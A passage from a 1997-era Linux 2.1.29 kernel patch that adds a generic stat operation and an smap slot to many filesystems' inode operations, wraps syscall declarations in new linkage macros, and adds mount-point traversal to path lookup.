+ lo_lookup, /* lookup */ + lo_link, /* link */ + lo_unlink, /* unlink */ + lo_symlink, /* symlink */ + lo_mkdir, /* mkdir */ + lo_rmdir, /* rmdir */ + lo_mknod, /* mknod */ + lo_rename, /* rename */ + lo_readlink, /* readlink */ + lo_follow_link, /* follow_link */ + lo_readpage, /* readpage */ + lo_writepage, /* writepage */ + lo_bmap, /* bmap */ + lo_truncate, /* truncate */ + NULL, /* permission */ + NULL /* smap */ +}; + +/* Every kernel module contains stuff like this. */ + +static struct file_system_type lo_fs_type = { + lo_read_super, "lo", 0, NULL +}; + +int init_lo_fs(void) +{ + return register_filesystem(&lo_fs_type); +} + +#ifdef MODULE +EXPORT_NO_SYMBOLS; + +int init_module(void) +{ + return init_lo_fs(); +} + +void cleanup_module(void) +{ + unregister_filesystem(&lo_fs_type); +} + +#endif diff -u --recursive --new-file linux-2.1.29/fs/locks.c linux/fs/locks.c --- linux-2.1.29/fs/locks.c Sat May 10 18:17:15 1997 +++ linux/fs/locks.c Fri Feb 21 18:34:36 1997 @@ -238,7 +238,7 @@ /* flock() system call entry point. Apply a FL_FLOCK style lock to * an open file descriptor. */ -asmlinkage int sys_flock(unsigned int fd, unsigned int cmd) +asmlinkage_d(int sys_flock(unsigned int fd, unsigned int cmd)) { struct file_lock file_lock; struct file *filp; diff -u --recursive --new-file linux-2.1.29/fs/minix/dir.c linux/fs/minix/dir.c --- linux-2.1.29/fs/minix/dir.c Sat May 10 18:17:15 1997 +++ linux/fs/minix/dir.c Sun Mar 23 12:55:27 1997 @@ -40,6 +40,7 @@ */ struct inode_operations minix_dir_inode_operations = { &minix_dir_operations, /* default directory file-ops */ + generic_stat, /* stat */ minix_create, /* create */ minix_lookup, /* lookup */ minix_link, /* link */ @@ -55,7 +56,8 @@ NULL, /* writepage */ NULL, /* bmap */ minix_truncate, /* truncate */ - NULL /* permission */ + NULL, /* permission */ + NULL /* smap */ }; static int minix_readdir(struct inode * inode, struct file * filp, diff -u --recursive --new-file linux-2.1.29/fs/minix/file.c linux/fs/minix/file.c --- linux-2.1.29/fs/minix/file.c Sat May 10 18:17:15 1997 +++ linux/fs/minix/file.c Sun Mar 23 12:55:48 1997 @@ -48,6 +48,7 @@ struct inode_operations minix_file_inode_operations = { &minix_file_operations, /* default file operations */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ @@ -63,7 +64,8 @@ NULL, /* writepage */ minix_bmap, /* bmap */ minix_truncate, /* truncate */ - NULL /* permission */ + NULL, /* permission */ + NULL /* smap */ }; static long minix_file_write(struct inode * inode, struct file * filp, diff -u --recursive --new-file linux-2.1.29/fs/minix/namei.c linux/fs/minix/namei.c --- linux-2.1.29/fs/minix/namei.c Sat May 10 18:12:33 1997 +++ linux/fs/minix/namei.c Fri Feb 21 18:34:36 1997 @@ -697,7 +697,7 @@ retval = -ENOENT; if (!old_bh) goto end_rename; - old_inode = __iget(old_dir->i_sb, old_de->inode,0); /* don't cross mnt-points */ + old_inode = iget(old_dir->i_sb, old_de->inode); if (!old_inode) goto end_rename; if (must_be_dir && !S_ISDIR(old_inode->i_mode)) @@ -709,7 +709,7 @@ goto end_rename; new_bh = minix_find_entry(new_dir,new_name,new_len,&new_de); if (new_bh) { - new_inode = __iget(new_dir->i_sb, new_de->inode, 0); + new_inode = iget(new_dir->i_sb, new_de->inode); if (!new_inode) { brelse(new_bh); new_bh = NULL; diff -u --recursive --new-file linux-2.1.29/fs/minix/symlink.c linux/fs/minix/symlink.c --- linux-2.1.29/fs/minix/symlink.c Sat May 10 18:12:33 1997 +++ linux/fs/minix/symlink.c Sun Mar 23 12:56:02 1997 @@ -22,6 +22,7 @@ */ struct inode_operations minix_symlink_inode_operations = { NULL, /* no file-operations */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ @@ -37,7 +38,8 @@ NULL, /* writepage */ NULL, /* bmap */ NULL, /* truncate */ - NULL /* permission */ + NULL, /* permission */ + NULL /* smap */ }; static int minix_follow_link(struct inode * dir, struct inode * inode, diff -u --recursive --new-file linux-2.1.29/fs/msdos/namei.c linux/fs/msdos/namei.c --- linux-2.1.29/fs/msdos/namei.c Sat May 10 18:16:46 1997 +++ linux/fs/msdos/namei.c Sun Mar 23 12:56:23 1997 @@ -795,6 +795,7 @@ /* The public inode operations for the msdos fs */ struct inode_operations msdos_dir_inode_operations = { &fat_dir_operations, /* default directory file-ops */ + generic_stat, /* stat */ msdos_create, /* create */ msdos_lookup, /* lookup */ NULL, /* link */ @@ -810,7 +811,8 @@ NULL, /* writepage */ fat_bmap, /* bmap */ NULL, /* truncate */ - NULL /* permission */ + NULL, /* permission */ + NULL /* smap */ }; diff -u --recursive --new-file linux-2.1.29/fs/namei.c linux/fs/namei.c --- linux-2.1.29/fs/namei.c Sat May 10 18:17:15 1997 +++ linux/fs/namei.c Fri Feb 21 18:34:36 1997 @@ -160,7 +160,7 @@ struct inode ** result) { struct super_block * sb; - int perm; + int perm, err = 0; *result = NULL; if (!dir) @@ -168,15 +168,20 @@ /* check permissions before traversing mount-points */ perm = permission(dir,MAY_EXEC); if (len==2 && get_unaligned((u16 *) name) == 0x2e2e) { - if (dir == current->fs->root) { - *result = dir; - return 0; - } else if ((sb = dir->i_sb) && (dir == sb->s_mounted)) { - iput(dir); - dir = sb->s_covered; - if (!dir) - return -ENOENT; - dir->i_count++; + /* this is ugly - we have to check for current's root dir as another fs may be mounted on top of it -blah */ + for (;;) { + if (dir == current->fs->root) { + *result = traverse_mntp(dir); + return 0; + } else if ((sb = dir->i_sb) && (dir == sb->s_mounted)) { + if (sb->s_covered) + sb->s_covered->i_count++; /* avoid the race */ + iput(dir); + dir = sb->s_covered; + if (!dir) + return -ENOENT; + } else + break; } } if (!dir->i_op || !dir->i_op->lookup) { @@ -191,7 +196,10 @@ *result = dir; return 0; } - return dir->i_op->lookup(dir, name, len, result); + err = dir->i_op->lookup(dir, name, len, result); + if (!err) + *result = traverse_mntp(*result); + return err; } int follow_link(struct inode * dir, struct inode * inode, @@ -232,7 +240,7 @@ } if ((c = *pathname) == '/') { iput(base); - base = current->fs->root; + base = traverse_mntp(current->fs->root); /* root may be mounted on top of */ pathname++; base->i_count++; } @@ -501,7 +509,7 @@ return error; } -asmlinkage int sys_mknod(const char * filename, int mode, dev_t dev) +asmlinkage_d(int sys_mknod(const char * filename, int mode, dev_t dev)) { int error; char * tmp; @@ -602,7 +610,7 @@ return error; } -asmlinkage int sys_mkdir(const char * pathname, int mode) +asmlinkage_d(int sys_mkdir(const char * pathname, int mode)) { int error; char * tmp; @@ -655,7 +663,7 @@ return dir->i_op->rmdir(dir,basename,namelen); } -asmlinkage int sys_rmdir(const char * pathname) +asmlinkage_d(int sys_rmdir(const char * pathname)) { int error; char * tmp; @@ -708,7 +716,7 @@ return dir->i_op->unlink(dir,basename,namelen); } -asmlinkage int sys_unlink(const char * pathname) +asmlinkage_d(int sys_unlink(const char * pathname)) { int error; char * tmp; @@ -758,7 +766,7 @@ return error; } -asmlinkage int sys_symlink(const char * oldname, const char * newname) +asmlinkage_d(int sys_symlink(const char * oldname, const char * newname)) { int error; char * from, * to; @@ -831,7 +839,7 @@ return error; } -asmlinkage int sys_link(const char * oldname, const char * newname) +asmlinkage_d(int sys_link(const char * oldname, const char * newname)) { int error; char * to; @@ -923,7 +931,7 @@ return error; } -asmlinkage int sys_rename(const char * oldname, const char * newname) +asmlinkage_d(int sys_rename(const char * oldname, const char * newname)) { int error; char * from, * to; diff -u --recursive --new-file linux-2.1.29/fs/ncpfs/dir.c linux/fs/ncpfs/dir.c --- linux-2.1.29/fs/ncpfs/dir.c Sat May 10 18:17:15 1997 +++ linux/fs/ncpfs/dir.c Sun Mar 23 12:56:41 1997 @@ -125,6 +125,7 @@ struct inode_operations ncp_dir_inode_operations = { &ncp_dir_operations, /* default directory file ops */ + generic_stat, /* stat */ ncp_create, /* create */ ncp_lookup, /* lookup */ NULL, /* link */ @@ -139,7 +140,7 @@ NULL, /* bmap */ NULL, /* truncate */ NULL, /* permission */ - NULL /* smap */ + NULL /* smap */ }; diff -u --recursive --new-file linux-2.1.29/fs/ncpfs/file.c linux/fs/ncpfs/file.c --- linux-2.1.29/fs/ncpfs/file.c Sat May 10 18:17:15 1997 +++ linux/fs/ncpfs/file.c Sun Mar 23 12:56:57 1997 @@ -265,6 +265,7 @@ struct inode_operations ncp_file_inode_operations = { &ncp_file_operations, /* default file operations */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ @@ -277,5 +278,7 @@ NULL, /* readlink */ NULL, /* follow_link */ NULL, /* bmap */ - NULL /* truncate */ + NULL, /* truncate */ + NULL, /* permission */ + NULL /* smap */ }; diff -u --recursive --new-file linux-2.1.29/fs/nfs/dir.c linux/fs/nfs/dir.c --- linux-2.1.29/fs/nfs/dir.c Sat May 10 18:17:15 1997 +++ linux/fs/nfs/dir.c Sun Mar 23 12:57:14 1997 @@ -49,6 +49,7 @@ struct inode_operations nfs_dir_inode_operations = { &nfs_dir_operations, /* default directory file-ops */ + generic_stat, /* stat */ nfs_create, /* create */ nfs_lookup, /* lookup */ nfs_link, /* link */ @@ -64,7 +65,8 @@ NULL, /* writepage */ NULL, /* bmap */ NULL, /* truncate */ - NULL /* permission */ + NULL, /* permission */ + NULL /* smap */ }; static inline void revalidate_dir(struct nfs_server * server, struct inode * dir) diff -u --recursive --new-file linux-2.1.29/fs/nfs/file.c linux/fs/nfs/file.c --- linux-2.1.29/fs/nfs/file.c Sat May 10 18:17:16 1997 +++ linux/fs/nfs/file.c Sun Mar 23 12:57:29 1997 @@ -49,6 +49,7 @@ struct inode_operations nfs_file_inode_operations = { &nfs_file_operations, /* default file operations */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ @@ -63,7 +64,8 @@ nfs_readpage, /* readpage */ NULL, /* writepage */ NULL, /* bmap */ - NULL /* truncate */ + NULL, /* truncate */ + NULL /* smap */ }; static inline void revalidate_inode(struct nfs_server * server, struct inode * inode) diff -u --recursive --new-file linux-2.1.29/fs/nfs/nfsroot.c linux/fs/nfs/nfsroot.c --- linux-2.1.29/fs/nfs/nfsroot.c Sat May 10 18:17:38 1997 +++ linux/fs/nfs/nfsroot.c Wed Mar 5 21:12:40 1997 @@ -152,7 +152,7 @@ /* Yes, we use sys_socket, but there's no include file for it */ -extern asmlinkage int sys_socket(int family, int type, int protocol); +asmlinkage_p(extern int sys_socket(int family, int type, int protocol)); /*************************************************************************** diff -u --recursive --new-file linux-2.1.29/fs/nfs/symlink.c linux/fs/nfs/symlink.c --- linux-2.1.29/fs/nfs/symlink.c Sat May 10 18:17:01 1997 +++ linux/fs/nfs/symlink.c Sun Mar 23 12:57:56 1997 @@ -27,6 +27,7 @@ */ struct inode_operations nfs_symlink_inode_operations = { NULL, /* no file-operations */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ @@ -42,7 +43,8 @@ NULL, /* writepage */ NULL, /* bmap */ NULL, /* truncate */ - NULL /* permission */ + NULL, /* permission */ + NULL /* smap */ }; static int nfs_follow_link(struct inode *dir, struct inode *inode, diff -u --recursive --new-file linux-2.1.29/fs/noquot.c linux/fs/noquot.c --- linux-2.1.29/fs/noquot.c Sat May 10 18:12:33 1997 +++ linux/fs/noquot.c Fri Feb 21 18:34:36 1997 @@ -73,7 +73,7 @@ * calls. Maybe we need to add the process quotas etc in the future. * But we probably better use rlimits for that. */ -asmlinkage int sys_quotactl(int cmd, const char *special, int id, caddr_t addr) +asmlinkage_d(int sys_quotactl(int cmd, const char *special, int id, caddr_t addr)) { return(-ENOPKG); } diff -u --recursive --new-file linux-2.1.29/fs/open.c linux/fs/open.c --- linux-2.1.29/fs/open.c Sat May 10 18:17:16 1997 +++ linux/fs/open.c Fri Feb 21 18:34:36 1997 @@ -24,7 +24,7 @@ #include #include -asmlinkage int sys_statfs(const char * path, struct statfs * buf) +asmlinkage_d(int sys_statfs(const char * path, struct statfs * buf)) { struct inode * inode; int error; @@ -49,7 +49,7 @@ return error; } -asmlinkage int sys_fstatfs(unsigned int fd, struct statfs * buf) +asmlinkage_d(int sys_fstatfs(unsigned int fd, struct statfs * buf)) { struct inode * inode; struct file * file; @@ -93,7 +93,7 @@ return error; } -asmlinkage int sys_truncate(const char * path, unsigned long length) +asmlinkage_d(int sys_truncate(const char * path, unsigned long length)) { struct inode * inode; int error; @@ -139,7 +139,7 @@ return error; } -asmlinkage int sys_ftruncate(unsigned int fd, unsigned long length) +asmlinkage_d(int sys_ftruncate(unsigned int fd, unsigned long length)) { struct inode * inode; struct file * file; @@ -178,7 +178,7 @@ * must be owner or have write permission. * Else, update from *times, must be owner or super user. */ -asmlinkage int sys_utime(char * filename, struct utimbuf * times) +asmlinkage_d(int sys_utime(char * filename, struct utimbuf * times)) { int error; struct inode * inode; @@ -224,7 +224,7 @@ * must be owner or have write permission. * Else, update from *times, must be owner or super user. */ -asmlinkage int sys_utimes(char * filename, struct timeval * utimes) +asmlinkage_d(int sys_utimes(char * filename, struct timeval * utimes)) { int error; struct inode * inode; @@ -263,7 +263,7 @@ * access() needs to use the real uid/gid, not the effective uid/gid. * We do this by temporarily setting fsuid/fsgid to the wanted values */ -asmlinkage int sys_access(const char * filename, int mode) +asmlinkage_d(int sys_access(const char * filename, int mode)) { struct inode * inode; int old_fsuid, old_fsgid; @@ -288,9 +288,9 @@ return res; } -asmlinkage int sys_chdir(const char * filename) +asmlinkage_d(int sys_chdir(const char * filename)) { - struct inode * inode; + struct inode * inode, *tmp; int error; lock_kernel(); @@ -306,17 +306,18 @@ iput(inode); goto out; } - iput(current->fs->pwd); + tmp = current->fs->pwd; current->fs->pwd = inode; + iput(tmp); error = 0; out: unlock_kernel(); return error; } -asmlinkage int sys_fchdir(unsigned int fd) +asmlinkage_d(int sys_fchdir(unsigned int fd)) { - struct inode * inode; + struct inode * inode, *tmp; struct file * file; int error = -EBADF; @@ -331,16 +332,17 @@ goto out; if ((error = permission(inode,MAY_EXEC)) != 0) goto out; - iput(current->fs->pwd); + tmp = current->fs->pwd; current->fs->pwd = inode; inode->i_count++; + iput(tmp); error = 0; out: unlock_kernel(); return error; } -asmlinkage int sys_chroot(const char * filename) +asmlinkage_d(int sys_chroot(const char * filename)) { struct inode * inode; int error; @@ -367,7 +369,7 @@ return error; } -asmlinkage int sys_fchmod(unsigned int fd, mode_t mode) +asmlinkage_d(int sys_fchmod(unsigned int fd, mode_t mode)) { struct inode * inode; struct file * file; @@ -397,7 +399,7 @@ return err; } -asmlinkage int sys_chmod(const char * filename, mode_t mode) +asmlinkage_d(int sys_chmod(const char * filename, mode_t mode)) { struct inode * inode; int error; @@ -426,7 +428,7 @@ return error; } -asmlinkage int sys_fchown(unsigned int fd, uid_t user, gid_t group) +asmlinkage_d(int sys_fchown(unsigned int fd, uid_t user, gid_t group)) { struct inode * inode; struct file * file; @@ -486,7 +488,7 @@ return error; } -asmlinkage int sys_chown(const char * filename, uid_t user, gid_t group) +asmlinkage_d(int sys_chown(const char * filename, uid_t user, gid_t group)) { struct inode * inode; int error; @@ -631,7 +633,7 @@ FD_CLR(fd, ¤t->files->open_fds); } -asmlinkage int sys_open(const char * filename,int flags,int mode) +asmlinkage_d(int sys_open(const char * filename,int flags,int mode)) { char * tmp; int fd, error; @@ -663,7 +665,7 @@ * For backward compatibility? Maybe this should be moved * into arch/i386 instead? */ -asmlinkage int sys_creat(const char * pathname, int mode) +asmlinkage_d(int sys_creat(const char * pathname, int mode)) { int ret; @@ -700,7 +702,7 @@ return 0; } -asmlinkage int sys_close(unsigned int fd) +asmlinkage_d(int sys_close(unsigned int fd)) { int error; struct file * filp; @@ -723,7 +725,7 @@ * This routine simulates a hangup on the tty, to arrange that users * are given clean terminals at login time. */ -asmlinkage int sys_vhangup(void) +asmlinkage_d(int sys_vhangup(void)) { int ret = -EPERM; diff -u --recursive --new-file linux-2.1.29/fs/proc/array.c linux/fs/proc/array.c --- linux-2.1.29/fs/proc/array.c Sat May 10 18:17:29 1997 +++ linux/fs/proc/array.c Sun Mar 23 12:45:38 1997 @@ -121,6 +121,7 @@ struct inode_operations proc_kcore_inode_operations = { &proc_kcore_operations, + generic_stat, }; @@ -174,6 +175,7 @@ struct inode_operations proc_profile_inode_operations = { &proc_profile_operations, + generic_stat, }; @@ -230,8 +232,11 @@ kstat.pswpin, kstat.pswpout, sum); - for (i = 0 ; i < NR_IRQS ; i++) + sum = 0; + for (i = 0 ; i < NR_IRQS ; i++) { len += sprintf(buffer + len, " %u", kstat.interrupts[i]); + sum += kstat.lost_interrupts[i]; + } len += sprintf(buffer + len, "\nctxt %u\n" "btime %lu\n" @@ -239,6 +244,10 @@ kstat.context_swtch, xtime.tv_sec - jiffies / HZ, total_forks); + len += sprintf(buffer + len, "lost_intr %u", sum); + for (i = 0 ; i < NR_IRQS ; i++) + len += sprintf(buffer + len, " %u", kstat.lost_interrupts[i]); + buffer[len++] = '\n'; return len; } @@ -1198,6 +1207,7 @@ struct inode_operations proc_array_inode_operations = { &proc_array_operations, /* default base directory file-ops */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ @@ -1244,6 +1254,7 @@ struct inode_operations proc_arraylong_inode_operations = { &proc_arraylong_operations, /* default base directory file-ops */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/proc/base.c linux/fs/proc/base.c --- linux-2.1.29/fs/proc/base.c Sat May 10 18:17:16 1997 +++ linux/fs/proc/base.c Sun Mar 23 13:26:51 1997 @@ -32,6 +32,7 @@ */ static struct inode_operations proc_base_inode_operations = { &proc_base_operations, /* default base directory file-ops */ + generic_stat, /* stat */ NULL, /* create */ proc_lookup, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/proc/fd.c linux/fs/proc/fd.c --- linux-2.1.29/fs/proc/fd.c Sat May 10 18:17:16 1997 +++ linux/fs/proc/fd.c Sun Mar 23 12:45:54 1997 @@ -34,6 +34,7 @@ */ struct inode_operations proc_fd_inode_operations = { &proc_fd_operations, /* default base directory file-ops */ + generic_stat, /* stat */ NULL, /* create */ proc_lookupfd, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/proc/generic.c linux/fs/proc/generic.c --- linux-2.1.29/fs/proc/generic.c Sat May 10 18:17:46 1997 +++ linux/fs/proc/generic.c Sun Mar 23 12:46:30 1997 @@ -42,6 +42,7 @@ */ struct inode_operations proc_file_inode_operations = { &proc_file_operations, /* default proc file-ops */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ @@ -65,6 +66,7 @@ */ struct inode_operations proc_net_inode_operations = { &proc_file_operations, /* default net file-ops */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/proc/inode.c linux/fs/proc/inode.c --- linux-2.1.29/fs/proc/inode.c Sat May 10 18:17:46 1997 +++ linux/fs/proc/inode.c Mon Mar 10 18:34:33 1997 @@ -119,7 +119,7 @@ } struct super_block *proc_read_super(struct super_block *s,void *data, - int silent) + int silent, const char *dev_name) { lock_super(s); s->s_blocksize = 1024; diff -u --recursive --new-file linux-2.1.29/fs/proc/kmsg.c linux/fs/proc/kmsg.c --- linux-2.1.29/fs/proc/kmsg.c Sat May 10 18:17:16 1997 +++ linux/fs/proc/kmsg.c Sun Mar 23 12:46:40 1997 @@ -17,7 +17,7 @@ extern unsigned long log_size; extern struct wait_queue * log_wait; -asmlinkage int sys_syslog(int type, char * bug, int count); +asmlinkage_p(int sys_syslog(int type, char * bug, int count)); static int kmsg_open(struct inode * inode, struct file * file) { @@ -59,6 +59,7 @@ struct inode_operations proc_kmsg_inode_operations = { &proc_kmsg_operations, /* default base directory file-ops */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/proc/link.c linux/fs/proc/link.c --- linux-2.1.29/fs/proc/link.c Sat May 10 18:17:16 1997 +++ linux/fs/proc/link.c Sun Mar 23 12:46:48 1997 @@ -43,6 +43,7 @@ struct inode_operations proc_link_inode_operations = { &proc_fd_link_operations,/* file-operations */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/proc/mem.c linux/fs/proc/mem.c --- linux-2.1.29/fs/proc/mem.c Sat May 10 18:17:16 1997 +++ linux/fs/proc/mem.c Sun Mar 23 12:46:56 1997 @@ -324,6 +324,7 @@ struct inode_operations proc_mem_inode_operations = { &proc_mem_operations, /* default base directory file-ops */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/proc/net.c linux/fs/proc/net.c --- linux-2.1.29/fs/proc/net.c Sat May 10 18:17:16 1997 +++ linux/fs/proc/net.c Sun Mar 23 12:47:13 1997 @@ -101,6 +101,7 @@ */ struct inode_operations proc_net_inode_operations = { &proc_net_operations, /* default net file-ops */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/proc/root.c linux/fs/proc/root.c --- linux-2.1.29/fs/proc/root.c Sat May 10 18:17:46 1997 +++ linux/fs/proc/root.c Sun Mar 23 12:48:39 1997 @@ -54,6 +54,7 @@ */ struct inode_operations proc_dir_inode_operations = { &proc_dir_operations, /* default net directory file-ops */ + generic_stat, /* stat */ NULL, /* create */ proc_lookup, /* lookup */ NULL, /* link */ @@ -95,6 +96,7 @@ */ static struct inode_operations proc_root_inode_operations = { &proc_root_operations, /* default base directory file-ops */ + generic_stat, /* stat */ NULL, /* create */ proc_root_lookup, /* lookup */ NULL, /* link */ @@ -250,6 +252,7 @@ struct inode_operations proc_openprom_inode_operations = { &proc_openprom_operations,/* default net directory file-ops */ + generic_stat, /* stat */ NULL, /* create */ #if defined(CONFIG_SUN_OPENPROMFS_MODULE) && defined(CONFIG_KERNELD) proc_openprom_deflookup,/* lookup */ @@ -372,6 +375,7 @@ static struct inode_operations proc_self_inode_operations = { NULL, /* no file-ops */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/proc/scsi.c linux/fs/proc/scsi.c --- linux-2.1.29/fs/proc/scsi.c Sat May 10 18:17:16 1997 +++ linux/fs/proc/scsi.c Sun Mar 23 12:48:51 1997 @@ -59,6 +59,7 @@ */ struct inode_operations proc_scsi_inode_operations = { &proc_scsi_operations, /* default scsi directory file-ops */ + generic_stat, /* stat */ NULL, /* create */ proc_lookup, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/read_write.c linux/fs/read_write.c --- linux-2.1.29/fs/read_write.c Sat May 10 18:17:16 1997 +++ linux/fs/read_write.c Fri Feb 21 18:34:36 1997 @@ -56,7 +56,7 @@ return fn(inode, file, offset, origin); } -asmlinkage long sys_lseek(unsigned int fd, off_t offset, unsigned int origin) +asmlinkage_d(long sys_lseek(unsigned int fd, off_t offset, unsigned int origin)) { long retval; struct file * file; @@ -77,9 +77,9 @@ return retval; } -asmlinkage int sys_llseek(unsigned int fd, unsigned long offset_high, +asmlinkage_d(int sys_llseek(unsigned int fd, unsigned long offset_high, unsigned long offset_low, loff_t * result, - unsigned int origin) + unsigned int origin)) { long retval; struct file * file; @@ -111,7 +111,7 @@ return retval; } -asmlinkage long sys_read(unsigned int fd, char * buf, unsigned long count) +asmlinkage_d(long sys_read(unsigned int fd, char * buf, unsigned long count)) { int error; struct file * file; @@ -143,7 +143,7 @@ return error; } -asmlinkage long sys_write(unsigned int fd, const char * buf, unsigned long count) +asmlinkage_d(long sys_write(unsigned int fd, const char * buf, unsigned long count)) { int error; struct file * file; @@ -264,7 +264,7 @@ return retval; } -asmlinkage long sys_readv(unsigned long fd, const struct iovec * vector, unsigned long count) +asmlinkage_d(long sys_readv(unsigned long fd, const struct iovec * vector, unsigned long count)) { struct file * file; struct inode * inode; @@ -281,7 +281,7 @@ return err; } -asmlinkage long sys_writev(unsigned long fd, const struct iovec * vector, unsigned long count) +asmlinkage_d(long sys_writev(unsigned long fd, const struct iovec * vector, unsigned long count)) { int error = -EBADF; struct file * file; diff -u --recursive --new-file linux-2.1.29/fs/readdir.c linux/fs/readdir.c --- linux-2.1.29/fs/readdir.c Sat May 10 18:17:16 1997 +++ linux/fs/readdir.c Fri Feb 21 18:34:36 1997 @@ -55,7 +55,7 @@ return 0; } -asmlinkage int old_readdir(unsigned int fd, void * dirent, unsigned int count) +asmlinkage_d(int old_readdir(unsigned int fd, void * dirent, unsigned int count)) { int error = -EBADF; struct file * file; @@ -123,7 +123,7 @@ return 0; } -asmlinkage int sys_getdents(unsigned int fd, void * dirent, unsigned int count) +asmlinkage_d(int sys_getdents(unsigned int fd, void * dirent, unsigned int count)) { struct file * file; struct linux_dirent * lastdirent; diff -u --recursive --new-file linux-2.1.29/fs/select.c linux/fs/select.c --- linux-2.1.29/fs/select.c Sat May 10 18:17:34 1997 +++ linux/fs/select.c Fri Feb 21 18:34:36 1997 @@ -280,7 +280,7 @@ * Update: ERESTARTSYS breaks at least the xview clock binary, so * I'm trying ERESTARTNOHAND which restart only when you want to. */ -asmlinkage int sys_select(int n, fd_set *inp, fd_set *outp, fd_set *exp, struct timeval *tvp) +asmlinkage_d(int sys_select(int n, fd_set *inp, fd_set *outp, fd_set *exp, struct timeval *tvp)) { int error = -EINVAL; fd_set_buffer *fds; @@ -384,7 +384,7 @@ return count; } -asmlinkage int sys_poll(struct pollfd * ufds, unsigned int nfds, int timeout) +asmlinkage_d(int sys_poll(struct pollfd * ufds, unsigned int nfds, int timeout)) { int i, count, fdcount, err; struct pollfd * fds, *fds1; diff -u --recursive --new-file linux-2.1.29/fs/smbfs/dir.c linux/fs/smbfs/dir.c --- linux-2.1.29/fs/smbfs/dir.c Sat May 10 18:17:16 1997 +++ linux/fs/smbfs/dir.c Sun Mar 23 12:49:03 1997 @@ -67,6 +67,7 @@ struct inode_operations smb_dir_inode_operations = { &smb_dir_operations, /* default directory file ops */ + generic_stat, /* stat */ smb_create, /* create */ smb_lookup, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/smbfs/file.c linux/fs/smbfs/file.c --- linux-2.1.29/fs/smbfs/file.c Sat May 10 18:17:16 1997 +++ linux/fs/smbfs/file.c Sun Mar 23 12:49:26 1997 @@ -226,6 +226,7 @@ struct inode_operations smb_file_inode_operations = { &smb_file_operations, /* default file operations */ + generic_stat, /* stat */ NULL, /* create */ NULL, /* lookup */ NULL, /* link */ diff -u --recursive --new-file linux-2.1.29/fs/stat.c linux/fs/stat.c --- linux-2.1.29/fs/stat.c Sat May 10 18:17:16 1997 +++ linux/fs/stat.c Sun Mar 23 21:17:38 1997 @@ -22,49 +22,46 @@ * For backward compatibility? Maybe this should be moved * into arch/i386 instead? */ -static int cp_old_stat(struct inode * inode, struct __old_kernel_stat * statbuf) +static int cp_old_stat ( struct stat *statbuf, struct __old_kernel_stat *oldstatbuf ) { struct __old_kernel_stat tmp; printk("VFS: Warning: %s using old stat() call. Recompile your binary.\n", current->comm); - tmp.st_dev = kdev_t_to_nr(inode->i_dev); - tmp.st_ino = inode->i_ino; - tmp.st_mode = inode->i_mode; - tmp.st_nlink = inode->i_nlink; - tmp.st_uid = inode->i_uid; - tmp.st_gid = inode->i_gid; - tmp.st_rdev = kdev_t_to_nr(inode->i_rdev); - tmp.st_size = inode->i_size; - if (inode->i_pipe) - tmp.st_size = PIPE_SIZE(*inode); - tmp.st_atime = inode->i_atime; - tmp.st_mtime = inode->i_mtime; - tmp.st_ctime = inode->i_ctime; - return copy_to_user(statbuf,&tmp,sizeof(tmp)) ? -EFAULT : 0; + tmp.st_dev = statbuf->st_dev; + tmp.st_ino = statbuf->st_ino; + tmp.st_mode = statbuf->st_mode; + tmp.st_nlink = statbuf->st_nlink; + tmp.st_uid = statbuf->st_uid; + tmp.st_gid = statbuf->st_gid; + tmp.st_rdev = statbuf->st_rdev; + tmp.st_size = statbuf->st_size; + tmp.st_atime = statbuf->st_atime; + tmp.st_mtime = statbuf->st_mtime; + tmp.st_ctime = statbuf->st_ctime; + return copy_to_user(oldstatbuf,&tmp,sizeof(tmp)) ? -EFAULT : 0; } #endif -static int cp_new_stat(struct inode * inode, struct stat * statbuf) +void generic_stat(struct inode * inode, struct stat * statbuf) { - struct stat tmp; unsigned int blocks, indirect; - memset(&tmp, 0, sizeof(tmp)); - tmp.st_dev = kdev_t_to_nr(inode->i_dev); - tmp.st_ino = inode->i_ino; - tmp.st_mode = inode->i_mode; - tmp.st_nlink = inode->i_nlink; - tmp.st_uid = inode->i_uid; - tmp.st_gid = inode->i_gid; - tmp.st_rdev = kdev_t_to_nr(inode->i_rdev); - tmp.st_size = inode->i_size; + memset(statbuf, 0, sizeof(*statbuf)); + statbuf->st_dev = kdev_t_to_nr(inode->i_dev); + statbuf->st_ino = inode->i_ino; + statbuf->st_mode = inode->i_mode; + statbuf->st_nlink = inode->i_nlink; + statbuf->st_uid = inode->i_uid; + statbuf->st_gid = inode->i_gid; + statbuf->st_rdev = kdev_t_to_nr(inode->i_rdev); + statbuf->st_size = inode->i_size; if (inode->i_pipe) - tmp.st_size = PIPE_SIZE(*inode); - tmp.st_atime = inode->i_atime; - tmp.st_mtime = inode->i_mtime; - tmp.st_ctime = inode->i_ctime; + statbuf->st_size = PIPE_SIZE(*inode); + statbuf->st_atime = inode->i_atime; + statbuf->st_mtime = inode->i_mtime; 